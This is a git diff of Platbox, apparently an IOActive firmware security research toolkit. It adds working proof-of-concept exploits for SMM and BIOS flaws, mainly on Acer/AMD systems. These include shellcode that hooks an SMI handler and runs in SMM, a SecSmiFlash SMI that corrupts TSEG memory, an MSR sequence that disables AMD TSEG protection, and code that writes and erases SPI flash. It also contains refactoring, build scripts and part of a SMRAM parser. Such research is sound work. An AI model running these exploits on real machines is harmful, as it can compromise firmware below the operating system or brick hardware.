sizeof(io_call), + NULL, 0, + &bytesReturned, + NULL + ); + + debug_print("Status: %08x - Error: %08x\n", status, GetLastError()); + #endif +} \ No newline at end of file diff --git a/PlatboxLib/src/msr.cpp b/PlatboxLib/src/msr.cpp index 05aa520..edca8f4 100644 --- a/PlatboxLib/src/msr.cpp +++ b/PlatboxLib/src/msr.cpp @@ -65,7 +65,7 @@ BOOL do_write_msr(UINT msr, UINT64 value) { NULL, NULL, &bytesReturned, NULL); if (NT_SUCCESS(status)) { - debug_print("-> Attempted to write %016lx into MSR[%08x]\n", value, msr_call.msr); + debug_print("-> Attempted to write %016llx into MSR[%08x]\n", value, msr_call.msr); } else { debug_print("-> failed writing to MSR:[%08x]\n", msr_call.msr); return FALSE; @@ -75,24 +75,5 @@ BOOL do_write_msr(UINT msr, UINT64 value) { return TRUE; } -void read_msr(int argc, char **argv) { - /* rdmsr */ - if (argc == 2) { - UINT msr = strtoul(argv[1], NULL, 16); - enable_debug_mode(); - do_read_msr(msr, NULL); - restore_debug_mode(); - } -} -void write_msr(int argc, char **argv) { - /* wrmsr */ - if (argc == 3) { - UINT msr = strtoul(argv[1], NULL, 16); - UINT64 value = strtoull(argv[2], NULL, 16); - enable_debug_mode(); - do_write_msr(msr, value); - restore_debug_mode(); - } -} diff --git a/PlatboxLib/src/pci.cpp b/PlatboxLib/src/pci.cpp index 3259326..35dfdc0 100644 --- a/PlatboxLib/src/pci.cpp +++ b/PlatboxLib/src/pci.cpp @@ -288,7 +288,7 @@ void write_pci_word(UINT8 bus, UINT8 device, UINT8 function, UINT offset, UINT v status = -1; status = ioctl(g_hDevice, IOCTL_WRITE_PCI_WORD, &pci_call); if (status == 0) { - debug_print("-> One byte written into %02x:%02x:%02x offset %08xh: %02xh\n", + debug_print("-> One word written into %02x:%02x:%02x offset %08xh: %02xh\n", bus, device, function, offset, value); } #elif _WIN32 @@ -338,7 +338,7 @@ void write_pci_dword(UINT8 bus, UINT8 device, UINT8 function, UINT offset, UINT status = -1; status = ioctl(g_hDevice, IOCTL_WRITE_PCI_DWORD, &pci_call); if (status == 0) { - debug_print("-> One byte written into %02x:%02x:%02x offset %08xh: %02xh\n", + debug_print("-> One dword written into %02x:%02x:%02x offset %08xh: %02xh\n", bus, device, function, offset, value); } #elif _WIN32 diff --git a/PlatboxLib/src/physmem.cpp b/PlatboxLib/src/physmem.cpp index ac9b1a7..5fc7999 100644 --- a/PlatboxLib/src/physmem.cpp +++ b/PlatboxLib/src/physmem.cpp @@ -554,7 +554,7 @@ void print_efi_memory_map() { DeviceIoControl(g_hDevice, IOCTL_WRITE_KMEM, &kmem_write, sizeof(kmem_write), NULL, 0, &dwBytesReturned, NULL); // Tlb Refresh via Sleep - Sleep(200); + doSleep(200); //print_memory(0x00, (char *) 0, 0x200); @@ -595,7 +595,7 @@ void print_efi_memory_map() { DeviceIoControl(g_hDevice, IOCTL_WRITE_KMEM, &kmem_write, sizeof(kmem_write), NULL, 0, &dwBytesReturned, NULL); // Tlb Refresh via Sleep - Sleep(200); + doSleep(200); free(pte_array_values); diff --git a/PlatboxLib/src/smm/smi.cpp b/PlatboxLib/src/smm/smi.cpp new file mode 100644 index 0000000..c0c4ca9 --- /dev/null +++ b/PlatboxLib/src/smm/smi.cpp @@ -0,0 +1,30 @@ +#include "common_chipset.h" +#include "smi.h" + +UINT16 g_SMI_TRIGGER_PORT = 0x00; + +UINT16 get_smi_port() { + if (g_SMI_TRIGGER_PORT == 0) { + g_SMI_TRIGGER_PORT = get_smi_trigger_port(); + } + return g_SMI_TRIGGER_PORT; +} + + +int trigger_smi(SW_SMI_CALL *smi_call) { + smi_call->TriggerPort = get_smi_port(); + return trigger_smi_ex(smi_call); +} + +// +int trigger_smi_ex(SW_SMI_CALL *smi_call) { + int status; + #ifdef __linux__ + status = ioctl(g_hDevice, IOCTL_ISSUE_SW_SMI, &smi_call); + #else //_WIN32 + DWORD bytesReturned = 0; + status = DeviceIoControl(g_hDevice, IOCTL_ISSUE_SW_SMI, smi_call, sizeof(SW_SMI_CALL), NULL, 0, &bytesReturned, NULL); + #endif + + return status; +} \ No newline at end of file diff --git a/PlatboxLib/src/smm/smi_fuzz.cpp b/PlatboxLib/src/smm/smi_fuzz.cpp index 7d3136a..ad5f0aa 100644 --- a/PlatboxLib/src/smm/smi_fuzz.cpp +++ b/PlatboxLib/src/smm/smi_fuzz.cpp @@ -1,4 +1,5 @@ #include "smi_fuzz.h" +#include "smi.h" void print_smi_call(SW_SMI_CALL *smi) { printf("SwSmiNumber: %02x\n", smi->SwSmiNumber); @@ -55,21 +56,8 @@ void fuzz_smi_number(int sw_smi_num) { //printf("\r--> iteration: %d", j); print_smi_call(&smi_call); - #ifdef __linux__ - int status = ioctl(g_hDevice, IOCTL_ISSUE_SW_SMI, &smi_call); - #else //_WIN32 - NTSTATUS status; - status = DeviceIoControl( - g_hDevice, - IOCTL_ISSUE_SW_SMI, - &smi_call, - sizeof(SW_SMI_CALL), - NULL, - 0, - &bytesReturned, - NULL); - - #endif + trigger_smi(&smi_call); + j++; } } @@ -124,22 +112,7 @@ void fuzz_all_smi() { smi_call.SwSmiData = g_fuzzer->get_random(g_fuzzer) % 256; printf("\r--> iteration: %d", j); - #ifdef __linux__ - int status = ioctl(g_hDevice, IOCTL_ISSUE_SW_SMI, &smi_call); - #elif _WIN32 - NTSTATUS status; - status = DeviceIoControl( - g_hDevice, - IOCTL_ISSUE_SW_SMI, - &smi_call, - sizeof(SW_SMI_CALL), - NULL, - 0, - &bytesReturned, - NULL); - - #else - #endif + trigger_smi(&smi_call); } } diff --git a/PlatboxLib/src/smm/smm_communicate.cpp b/PlatboxLib/src/smm/smm_communicate.cpp index b97f039..e53dde1 100644 --- a/PlatboxLib/src/smm/smm_communicate.cpp +++ b/PlatboxLib/src/smm/smm_communicate.cpp @@ -1,5 +1,6 @@ #include "smm_communicate.h" +#include "smi.h" #include "intel_chipset.h" #include "pci.h" #include "physmem.h" @@ -137,15 +138,7 @@ void __smm_dump_s3_bootscript(void *ptr_smm_core_private, const char *output_fil //getchar(); - #ifdef __linux__ - status = ioctl(g_hDevice, IOCTL_ISSUE_SW_SMI, &smi_call); - #else //_WIN32 - DWORD bytesReturned = 0; - status = DeviceIoControl(g_hDevice, IOCTL_ISSUE_SW_SMI, &smi_call, sizeof(SW_SMI_CALL), NULL, 0, &bytesReturned, NULL); - - //printf("SMI Sent!\n"); - - #endif + trigger_smi(&smi_call); //debug_print("Memory After the SMI:\n"); //print_memory(0, (char *) user_page.va, 0x200); diff --git a/build.bat b/build.bat index 8207dfc..5a43134 100644 --- a/build.bat +++ b/build.bat @@ -1,8 +1,8 @@ mkdir build cd build -cmake -G "Visual Studio 16 2019" -A x64 -S .. -B "build64" +cmake -G "Visual Studio 17 2022" -A x64 -S .. -B "build64" cmake --build build64/ --target platbox_cli --config Release -cmake --build build64/ --target example --config Release +cmake --build build64/ --config Release copy build64\PlatboxClient\Release\platbox_cli.exe ..\compiled\ -copy build64\pocs\Release\example.exe ..\compiled\ +copy build64\pocs\Release\*.exe ..\compiled\pocs\ cd .. \ No newline at end of file diff --git a/build.sh b/build.sh index 5f2efe6..932c85a 100755 --- a/build.sh +++ b/build.sh @@ -3,5 +3,5 @@ cd build cmake .. make cp PlatboxClient/platbox_cli ../compiled/ -cp pocs/example ../compiled/ +cp pocs/*Poc ../compiled/pocs/ cd .. diff --git a/compiled/Platbox.inf b/compiled/Platbox.inf index 3cafbfb..976411a 100644 --- a/compiled/Platbox.inf +++ b/compiled/Platbox.inf @@ -7,7 +7,7 @@ Signature="$WINDOWS NT$" Class=System ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} Provider=%ManufacturerName% -DriverVer = 02/27/2023,14.20.16.161 +DriverVer = 03/12/2023,22.8.38.509 CatalogFile=Platbox.cat PnpLockdown=1 diff --git a/compiled/Platbox.sys b/compiled/Platbox.sys index aba2a28..62bf9c7 100644 Binary files a/compiled/Platbox.sys and b/compiled/Platbox.sys differ diff --git a/compiled/example b/compiled/example deleted file mode 100755 index b9299d0..0000000 Binary files a/compiled/example and /dev/null differ diff --git a/compiled/example.exe b/compiled/example.exe deleted file mode 100644 index 3fcb410..0000000 Binary files a/compiled/example.exe and /dev/null differ diff --git a/compiled/platbox_cli b/compiled/platbox_cli index 6fb0524..8253437 100755 Binary files a/compiled/platbox_cli and b/compiled/platbox_cli differ diff --git a/compiled/platbox_cli.exe b/compiled/platbox_cli.exe index acd0444..4fb8305 100644 Binary files a/compiled/platbox_cli.exe and b/compiled/platbox_cli.exe differ diff --git a/pocs/Acer/SmmCallout.cpp b/pocs/Acer/SmmCallout.cpp new file mode 100644 index 0000000..d117e2b --- /dev/null +++ b/pocs/Acer/SmmCallout.cpp @@ -0,0 +1,109 @@ +#include "global.h" +#include "pci.h" +#include "common_chipset.h" +#include "Util.h" +#include "physmem.h" +#include "msr.h" +#include "smi.h" + + + +void proof_of_concept() +{ + NTSTATUS status; + SW_SMI_CALL smi_call = { 0 }; + char* ShellcodePage = NULL; + + UINT32 HookAddr = 0xAE965438; + UINT32 HookLen = 10; + const char* Hook = "\x48\xC7\xC0\x00\x10\x00\x00" // mov rax,0x1000 + "\xFF\xD0" // call rax + "\xC3"; // ret + + UINT32 ShellcodeAddr = 0x1000; + UINT32 PlaceholderAddr = ShellcodeAddr + 0x20; + + char* ShellcodePageBak = (char *) malloc(PAGE_SIZE); + char* HookPageBak = (char *) malloc(PAGE_SIZE); + + + // UINT32 ShellcodeLen = 13; + // char* Shellcode = "\x48\xC7\xC0\x20\x10\x00\x00" // mov rax, #PlaceholderAddr + // "\xFE\x00" // inc byte ptr [rax] + // "\x48\x31\xC0" // xor rax, rax + // "\xC3"; // ret + + // UINT32 ShellcodeLen = 16; + // char* Shellcode = "\x48\xC7\xC1\x20\x10\x00\x00" // mov rcx, #PlaceholderAddr + // "\x48\x89\x01" // mov [rcx], rax + // "\x48\x31\xC0" // xor rax, rax + // "\xC3"; // ret + + UINT32 ShellcodeLen = 22; + const char* Shellcode = "\x48\xC7\xC1\x20\x10\x00\x00" // mov rcx, #PlaceholderAddr + "\x48\x31\xC0" // xor rax, rax + "\x8C\xC8" // mov eax, cs + "\x83\xE0\x03" // mov eax, 0x3 + "\x48\x89\x01" // mov [rcx], rax + "\x48\x31\xC0" // xor rax, rax + "\xC3"; // ret + + printf("Shellcode address is %lx (%d bytes)\n", ShellcodeAddr, ShellcodeLen); + printf("Hook address is %lx (%d bytes)\n", HookAddr, HookLen); + getchar(); + + // Backup page with SMI handler that will be hooked + char* HookPage = (char *) map_physical_memory(HookAddr & 0xFFFFF000, PAGE_SIZE); + if (!HookPage) { + printf("Failed to allocate user physical mem\n"); + goto exit; + } + memcpy(HookPageBak, HookPage, PAGE_SIZE); + + // Backup page where the shellcode will be written + ShellcodePage = (char *) map_physical_memory(ShellcodeAddr & 0xFFFFF000, PAGE_SIZE); + if (!ShellcodePage) { + printf("Failed to allocate user physical mem\n"); + goto exit; + } + memcpy(ShellcodePageBak, ShellcodePage, PAGE_SIZE); + + // Write the shellcode + memcpy(ShellcodePage + (ShellcodeAddr & 0xFFF), (char *)Shellcode, ShellcodeLen); + memset(ShellcodePage + (PlaceholderAddr & 0xFFF), 0x69, 1); + + // Write the SMI handler + memcpy(HookPage + (HookAddr & 0xFFF), (char *)Hook, HookLen); + + printf("Read value before %d\n", *(ShellcodePage + (PlaceholderAddr & 0xFFF))); + + printf("Sending SMI\n"); + getchar(); + + smi_call.SwSmiNumber = 208; + + trigger_smi(&smi_call); + + printf("Read value after %d", *(ShellcodePage + (PlaceholderAddr & 0xFFF))); + getchar(); + + // Restore hooked SMI handler + memcpy(HookPage, HookPageBak, PAGE_SIZE); + + // Restore the shellcode page + memcpy(ShellcodePage, ShellcodePageBak, PAGE_SIZE); + +exit: + return; +} + + +int main(int argc, char **argv) +{ + + open_platbox_device(); + proof_of_concept(); + close_platbox_device(); + + return 0; +} \ No newline at end of file diff --git a/pocs/CMakeLists.txt b/pocs/CMakeLists.txt index 5b25fd1..2b775eb 100644 --- a/pocs/CMakeLists.txt +++ b/pocs/CMakeLists.txt @@ -3,7 +3,7 @@ cmake_minimum_required(VERSION 3.13) # Maps to Visual Studio solution file (Tutorial.sln) # The solution will have all targets (exe, lib, dll) # as Visual Studio projects (.vcproj) -project (example) +project (pocs) include_directories ( "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc" @@ -29,12 +29,22 @@ SET (PROJECT_ROOT "${PROJECT_SOURCE_DIR}") set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT") set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} /MTd") -set (PROJECT_SOURCES - poc.cpp -) +# POC executables + + + +add_executable(AcerSpiAccessViaSmiPoc Acer/SpiAccessViaSmi.cpp) +add_executable(AcerSmmCalloutPoc Acer/SmmCallout.cpp) + + +add_executable(SecureCoreAcer SecureCoreAcer/DirectSpiAccess.cpp) + +# Link libraries + + + -# main executable -add_executable(example "${PROJECT_SOURCES}") +target_link_libraries(AcerSpiAccessViaSmiPoc platbox_lib) +target_link_libraries(AcerSmmCalloutPoc platbox_lib) -# link lib -target_link_libraries (example platbox_lib) +target_link_libraries(SecureCoreAcer platbox_lib) \ No newline at end of file diff --git a/pocs/Misc/SecSMIFlash.cpp b/pocs/Misc/SecSMIFlash.cpp new file mode 100644 index 0000000..03b2aa9 --- /dev/null +++ b/pocs/Misc/SecSMIFlash.cpp @@ -0,0 +1,53 @@ + +#include "poc_SecSMIFlash.h" +#include "pci.h" +#include "physmem.h" +#include "msr.h" +#include "global.h" +#include "Util.h" +#include + + +void do_overwrite_smm_s3_state() { + /* + This triggers a vulnerable SW SMI in SecSmiFlash that allows to write + a value 1 into the first 252 bytes of the TSEG + + The primitive is: + mov byte ptr [rcx+102h], 1 + + RCX is a controlled pointer that was only verified to be outside of SMRAM by 8 bytes + Meaning 102h - 8 = 252 bytes of possible corruption + + The Structure SMM_S3_RESUME_STATE lives in this area + */ + SW_SMI_CALL smi_call = {0}; + + smi_call.SwSmiNumber = 0x1e; + + UINT64 tseg_base = 0xef000000; + UINT64 target = tseg_base - 259; + + void *mapped_va = map_physical_memory(tseg_base - PAGE_SIZE, PAGE_SIZE); + + memset((void *) mapped_va, 0x00, PAGE_SIZE); + + print_memory(0, (char * )mapped_va, PAGE_SIZE); + + for (int i = 0 ; i < 250; i ++) { + smi_call.rcx = (target >> 32) & 0xFFFFFFFF; + smi_call.rbx = target & 0xFFFFFFFF; + + + printf("attempting to write 1 into %llx\n", target + 0x102); + + target += 1; + + trigger_smi(&smi_call); + + } + + print_memory(0, (char * )mapped_va, PAGE_SIZE); + + unmap_physical_memory(mapped_va, PAGE_SIZE); +} \ No newline at end of file diff --git a/pocs/Misc/SmmKeyDemo.cpp b/pocs/Misc/SmmKeyDemo.cpp new file mode 100644 index 0000000..be34a9f --- /dev/null +++ b/pocs/Misc/SmmKeyDemo.cpp @@ -0,0 +1,44 @@ +#include "global.h" +#include "pci.h" +#include "common_chipset.h" +#include "Util.h" +#include "physmem.h" +#include "msr.h" + + +#define MSR_SMM_KEY 0xC0010119 +#define MSR_SMM_KEY_VAL 0x4141414141414141 + +int main(int argc, char **argv) +{ + open_platbox_device(); + + UINT64 tseg_base = 0; + UINT32 tseg_size = 0; + get_tseg_region(&tseg_base, &tseg_size); + printf("TSEG Base: %08x\n", tseg_base); + printf("TSEG End: %08x\n", tseg_base + tseg_size); + printf("\nattempting to map TSEG\n"); + void *tseg_map = map_physical_memory(tseg_base, PAGE_SIZE); + print_memory(tseg_base, (char *) tseg_map, 0x100); + unmap_physical_memory(tseg_map, PAGE_SIZE); + + getchar(); + + printf("Setting SMM Key\n"); + do_write_msr(MSR_SMM_KEY, MSR_SMM_KEY_VAL); + + printf("Disabling TSEG protection\n"); + UINT64 tseg_mask = 0; + do_read_msr(AMD_MSR_SMM_TSEG_MASK, &tseg_mask); + do_write_msr(AMD_MSR_SMM_TSEG_MASK, tseg_mask & 0xFFFFFFFFFFFFFFFC); + + printf("\nattempting to map TSEG\n"); + tseg_map = map_physical_memory(tseg_base, PAGE_SIZE); + print_memory(tseg_base, (char *) tseg_map, 0x100); + unmap_physical_memory(tseg_map, PAGE_SIZE); + + close_platbox_device(); + + return 0; +} \ No newline at end of file diff --git a/pocs/SecureCoreAcer/DirectSpiAccess.cpp b/pocs/SecureCoreAcer/DirectSpiAccess.cpp new file mode 100644 index 0000000..3009173 --- /dev/null +++ b/pocs/SecureCoreAcer/DirectSpiAccess.cpp @@ -0,0 +1,105 @@ +#include "global.h" +#include "pci.h" +#include "common_chipset.h" +#include "Util.h" +#include "physmem.h" +#include "msr.h" +#include "smm_communicate.h" +#include "smi.h" +#include "amd_psp.h" + +UINT32 spi_flash_unused_page() +{ + + UINT64 flash_base = 0xFD00000000; + UINT32 flash_size = 32 * 1024 * 1024; + + void *mem = calloc(1, PAGE_SIZE); + memset(mem, 0xff, PAGE_SIZE); + UINT32 offset = 0; + for (int i = 0; i < flash_size; i += PAGE_SIZE) + { + void *p = map_physical_memory(flash_base + i, PAGE_SIZE); + // printf("%lx\n", flash_base+i); + if (memcmp(mem, p, PAGE_SIZE) == 0) + { + offset = i; + + unmap_physical_memory(p, PAGE_SIZE); + break; + } + unmap_physical_memory(p, PAGE_SIZE); + } + printf("Found unused page at: %08x\n", offset); + free(mem); + return offset; +} + +UINT32 spi_flash_list_unused_pages() +{ + + UINT64 flash_base = 0xFD00000000; + UINT32 flash_size = 32 * 1024 * 1024; + + void *mem = calloc(1, PAGE_SIZE*1); + memset(mem, 0xff, PAGE_SIZE); + UINT32 offset = 0; + for (int i = 0; i < flash_size; i += PAGE_SIZE) + { + void *p = map_physical_memory(flash_base + i, PAGE_SIZE); + // printf("%lx\n", flash_base+i); + if (memcmp(mem, p, PAGE_SIZE) == 0) + { + offset = i; + printf("offset: 0x%llx\n", offset); + unmap_physical_memory(p, PAGE_SIZE); + continue; + } + unmap_physical_memory(p, PAGE_SIZE); + } + //printf("Found unused page at: %08x\n", offset); + free(mem); + return offset; +} + + +void proof_of_concept2() +{ + amd_retrieve_chipset_information(); + + BYTE *mem = (BYTE *)calloc(1, 4096); + + UINT32 target_fla = spi_flash_unused_page(); + + read_from_flash_index_mode(NULL, target_fla, 4096, mem); + print_memory(0xFD00000000 + target_fla, (char *)mem, 0x100); + getchar(); + + const char msg[] = "This is clearly not a gibson"; + + amd_spi_write_buffer(NULL, target_fla, (BYTE *) msg, strlen(msg)); + + memset(mem, 0x00, PAGE_SIZE); + + read_from_flash_index_mode(NULL, target_fla, 4096, mem); + print_memory(0xFD00000000 + target_fla, (char *)mem, 0x100); + getchar(); + amd_spi_erase_4k_block(NULL, target_fla); + + read_from_flash_index_mode(NULL, target_fla, 4096, mem); + print_memory(0xFD00000000 + target_fla, (char *)mem, 0x100); + getchar(); + + free(mem); +} + + +int main(int argc, char **argv) +{ + open_platbox_device(); + + proof_of_concept2(); + close_platbox_device(); + + return 0; +} \ No newline at end of file diff --git a/pocs/poc.cpp b/pocs/poc.cpp deleted file mode 100644 index e39cfee..0000000 --- a/pocs/poc.cpp +++ /dev/null @@ -1,63 +0,0 @@ -#include "poc.h" - -#pragma comment(lib, "platbox_lib.lib") - - -void poc_flash1() { - - amd_retrieve_chipset_information(); - - amd_dump_spi_flash_index_mode("spi_index_rom.bin"); -} - -void poc_flash2() { - amd_retrieve_chipset_information(); - amd_spi_erase_4k_block(NULL, 0); -} - - -void re_patch_bios() { - amd_retrieve_chipset_information(); - - volatile SPI *spi_base = (volatile SPI *) map_physical_memory(g_spi_addr, PAGE_SIZE); - - BYTE *block = (BYTE *) malloc(SPI_INDEX_MODE_WRITE_BLOCK_4K); - - UINT32 addr = 0xC00000; - read_from_flash_index_mode(spi_base, addr, SPI_INDEX_MODE_WRITE_BLOCK_4K, block); - // Repatch - block[0] = 0x05; - block[1] = 0x08; - block[2] = 0x63; - block[3] = 0x54; - block[4] = 0x5D; - block[5] = 0x31; - block[6] = 0xAF; - block[7] = 0xD2; - - amd_spi_erase_4k_block(spi_base, addr); - - // Write - write_4k_block(spi_base, addr, block); - - free(block); - unmap_physical_memory((void *) spi_base, PAGE_SIZE); -} - - -int main(int argc, char **argv) -{ - - InitializeDeltaFuzz(); - open_platbox_device(); - - init_os_specifics(); - - // Add code here - // poc_flash1(); - - close_platbox_device(); - - return 0; -} - diff --git a/pocs/poc.h b/pocs/poc.h deleted file mode 100644 index 0191ed1..0000000 --- a/pocs/poc.h +++ /dev/null @@ -1,14 +0,0 @@ -// Written by Enrique Nissim (IOActive) 06/2018 - - -#pragma once -#include "global.h" -#include "pci.h" -#include "common_chipset.h" -#include "Util.h" -#include "physmem.h" -#include "msr.h" -#include "smm_communicate.h" -#include "smi_fuzz.h" -#include "UEFIVars.h" - diff --git a/tools/add-env.ps1 b/tools/add-env.ps1 new file mode 100644 index 0000000..49884d6 --- /dev/null +++ b/tools/add-env.ps1 @@ -0,0 +1,3 @@ +# install-module uefiv2 +$BYTES = [byte] 255,255,255,255,41,41,41,41,255,255,255,255 +Set-UEFIVariable -VariableName IOActive -Namespace "{8be4df61-1234-5432-asda-00ee0394855a}" -ByteArray $BYTES diff --git a/tools/amd_smram_parser/amd_smram_parser.py b/tools/amd_smram_parser/amd_smram_parser.py new file mode 100644 index 0000000..b51101f --- /dev/null +++ b/tools/amd_smram_parser/amd_smram_parser.py @@ -0,0 +1,759 @@ +import sys +import struct +from ctypes_utils import * +from ctypes import sizeof +import os +import hexdump +import re +import shutil +import time + +""" +Based on https://github.com/Cr4sh/smram_parse + +Using https://github.com/theopolis/uefi-firmware-parser/tree/master/uefi_firmware/guids +""" + +EFIUTILS_PATH = f"{os.getcwd()}/efiguids" +EFIUTILS_URL = 'https://github.com/theopolis/uefi-firmware-parser' +sys.path.append(EFIUTILS_PATH) + + +UEFIEXTRACT_PATH = './UEFIExtract' +UEFIEXTRACT_URL = 'https://github.com/LongSoft/UEFITool/releases' + + + +Additional_GUIDs = { + 'EDKII_S3_SMM_INIT_DONE_GUID': [0x8f9d4825, 0x797d, 0x48fc, 0x84, 0x71, 0x84, 0x50, 0x25, 0x79, 0x2e, 0xf6], + 'EDKII_SMM_END_OF_S3_RESUME_PROTOCOL_GUID': [0x96f5296d, 0x05f7, 0x4f3c, 0x84, 0x67, 0xe4, 0x56, 0x89, 0x0e, 0x0c, 0xb5], + 'SMM_CPU_SYNC_PROTOCOL_GUID': [0xd5950985, 0x8be3, 0x4b1c, 0xb6, 0x3f, 0x95, 0xd1, 0x5a, 0xb3, 0xb6, 0x5f], + 'SMM_CPU_SYNC2_PROTOCOL_GUID': [0x9db72e22, 0x9262, 0x4a18, 0x8f, 0xe0, 0x85, 0xe0, 0x3d, 0xfa, 0x96, 0x73], + 'EFI_SMM_CPU_SERVICE_PROTOCOL_GUID': [0x1d202cab, 0xc8ab, 0x4d5c, 0x94, 0xf7, 0x3c, 0xfc, 0xc0, 0xd3, 0xd3, 0x35], + 'PCH_SPI_PROTOCOL': [0x56521f06, 0x0a62, 0x4822, 0x99, 0x63, 0xdf, 0x01, 0x9d, 0x72, 0xc7, 0xe1], + 'PCH_TCO_SMI_DISPATCH_PROTOCOL_GUID': [0x9e71d609, 0x6d24, 0x47fd, 0xb5, 0x72, 0x61, 0x40, 0xf8, 0xd9, 0xc2, 0xa4], + 'PCH_PCIE_SMI_DISPATCH_PROTOCOL_GUID': [0x3e7d2b56, 0x3f47, 0x42aa, 0x8f, 0x6b, 0x22, 0xf5, 0x19, 0x81, 0x8d, 0xab], + 'PCH_ACPI_SMI_DISPATCH_PROTOCOL_GUID': [0xd52bb262, 0xf022, 0x49ec, 0x86, 0xd2, 0x7a, 0x29, 0x3a, 0x7a, 0x05, 0x4b], + 'PCH_GPIO_UNLOCK_SMI_DISPATCH_PROTOCOL_GUID': [0x83339ef7, 0x9392, 0x4716, 0x8d, 0x3a, 0xd1, 0xfc, 0x67, 0xcd, 0x55, 0xdb], + 'PCH_SMM_IO_TRAP_CONTROL_PROTOCOL': [0x514d2afd, 0x2096, 0x4283, 0x9d, 0xa6, 0x70, 0x0c, 0xd2, 0x7d, 0xc7, 0xa5], + 'PCH_ESPI_SMI_DISPATCH_PROTOCOL_GUID': [0xB3C14FF3, 0xBAE8, 0x456C, 0x86, 0x31, 0x27, 0xFE, 0x0C, 0xEB, 0x34, 0x0C], + 'EFI_ACPI_EN_DISPATCH_PROTOCOL_GUID': [0xbd88ec68, 0xebe4, 0x4f7b, 0x93, 0x5a, 0x4f, 0x66, 0x66, 0x42, 0xe7, 0x5f], + 'EFI_EC_ACCESS_PROTOCOL_GUID': [0x70eeecbe, 0x727a, 0x4244, 0x90, 0x4c, 0xdb, 0x6b, 0xf0, 0x05, 0x53, 0x92], + 'EFI_ACPI_EN_DISPATCH_PROTOCOL_GUID': [0xbd88ec68, 0xebe4, 0x4f7b, 0x93, 0x5a, 0x4f, 0x66, 0x66, 0x42, 0xe7, 0x5f], + 'EFI_ACPI_DIS_DISPATCH_PROTOCOL_GUID': [0x9c939ba6, 0x1fcc, 0x46f6, 0xb4, 0xe1, 0x10, 0x2d, 0xbe, 0x18, 0x65, 0x67], + 'FchSmmDiagInterfaceGUID': [0x89fef87c, 0xcc96, 0x4d20, 0xa4, 0x62, 0xcd, 0x11, 0x92, 0x75, 0xa3, 0x89], + 'AmdPspP2CmboxV2SmmBuffer_GUID': [0xaf62673d, 0xdeda, 0x43ae, 0x8f, 0x3, 0x9c, 0x2d, 0x89, 0xfd, 0x78, 0xda], + 'gFchSmmSwDispatch2Protocol_GUID': [0x881b4ab6,0x17b0,0x4bdf,0x88,0xe2,0xd4,0x29,0xda,0x42,0x5f,0xfd], + 'gAmdPspResumeServiceProtocol_GUID': [0x6c5ae0f9,0xaad3,0x47f8,0x8f,0x59,0xa5,0x3a,0x54,0xce,0x5a,0xe2], + 'AmdCpmInitSmm_GUID': [0xaf6efacf,0x7a13,0x45a3,0xb1,0xa5,0xaa,0xfc,0x6,0x1c,0x4b,0x79], + 'AmdSmmCommunication_AmdS3SaveSmmCommunicateHandler_GUID': [0x5c4061f0,0xd051,0x4f43,0xbc,0x23,0x5e,0x5e,0x89,0xb3,0xce,0xc0], + 'AmdFabricRnSmm_GUID': [0x956a4d54,0xfaab,0x4916,0xac,0x99,0x3d,0x5d,0x9a,0xd0,0xd7,0xc0], + 'AmdPspRomArmorSmmInterfaceProtocol_GUID': [0x4a9c5084,0xc8af,0x403c,0x99,0x31,0x63,0xc9,0x36,0x90,0xec,0xb3], + 'H19SgxSmmInterface_GUID': [0x468907b3,0x174b,0x4617,0xa0,0x23,0x8f,0x7c,0xe6,0x0,0x36,0x48], + 'H19PlatformServiceSmmInterface_GUID': [0x5a3a840d,0x2432,0x4a59,0xa9,0xef,0x6d,0xa0,0x95,0xe,0x37,0x54], + 'AutoPowerOnSmmInterface_GUID': [0x5a72a74f,0x4842,0x44d8,0x94,0xd8,0xa3,0x0e,0x5,0xa9,0x85,0x4e], + 'H19HddPasswordInterface_GUID': [0xafa92c3,0x9d71,0x47cb,0x89,0x24,0x21,0xb6,0xc2,0x45,0x7c,0x0], + 'H19MeUpdateSmmInterface_GUID': [0x1e686608,0x4a96,0x49f8,0xa7,0xd2,0x43,0xc5,0x6,0x92,0x83,0x55], + 'H19ServiceBodySmmInterface_GUID': [0x9156c0ad,0x57ca,0x42c7,0xbc,0xd3,0xe5,0xd8,0x2d,0xe0,0x5f,0x34], + 'BiosGuardServicesInterface_GUID': [0x17565311,0x4b71,0x4340,0x88,0xaa,0xdc,0x9f,0x44,0x22,0xe5,0x3a], + 'OFCSmmDriverInterface_GUID': [0xa618df46,0x1b05,0x463e,0xa6,0xfd,0xf4,0x3b,0x9b,0xfb,0x27,0xcc], + 'H19RecordLogSmmInterface_GUID': [0x25bbabe3,0xf185,0x461b,0x80,0xc0,0x58,0x3d,0xb8,0xc0,0xa4,0x41], + 'AspmOverrideDxeInterface_GUID': [0x4cd150e9,0x16b,0x4e54,0xbd,0x0,0x5c,0x86,0xeb,0xe6,0x37,0xd6], + 'EFI_LEGACY_BIOS_PROTOCOL_GUID': [0xdb9a1e3d,0x45cb,0x4abb,0x85,0x3b,0xe5,0x38,0x7f,0xdb,0x2e,0x2d], + 'IhisiServicesSmmInterface_GUID': [0x6c23a1ef,0x2cb7,0x4a60,0x8f,0x8c,0x8,0xa3,0xde,0x8d,0x7a,0xcf], + 'Int15ServiceSmmInterface_GUID': [0x1fa493a8,0xb360,0x4205,0xb8,0xfe,0xcc,0x83,0xbc,0x57,0xb7,0x3a], + 'PchSmiDispatcherInterface1_GUID': [0x6906e93b,0x603b,0x4a0f,0x86,0x92,0x83,0x20,0x4,0xaa,0xf2,0xdb], + 'EFI_MM_IO_TRAP_DISPATCH_PROTOCOL': [0x58dc368d,0x7bfa,0x4e77,0xab,0xbc,0xe,0x29,0x41,0x8d,0xf9,0x30], +} + + +EFI_SMM_SYSTEM_TABLE_SIGNATURE = b'SMST\x00\x00\x00\x00' +SMI_ENTRY_SIGNATURE = b'smie\x00\x00\x00\x00' +SMI_HANDLER_SIGNATURE = b'smih\x00\x00\x00\x00' + +SMM_POOL_HEADER_SIGNATURE = b'sphd' +SMM_POOL_TAIL_SIGNATURE = b'sptl' +POOL_HEADER_SIZE = 0x18 +POOL_HEADER_SIZE_MEMBER_OFFSET = 0x10 +POOL_TAIL_SIZE = 0x10 + +#PROTOCOL_ENTRY_SIGNATURE2 = b'prte' +PROTOCOL_NOTIFY_SIGNATURE = b'prtn' +OPEN_PROTOCOL_DATA_SIGNATURE = b'podl' + 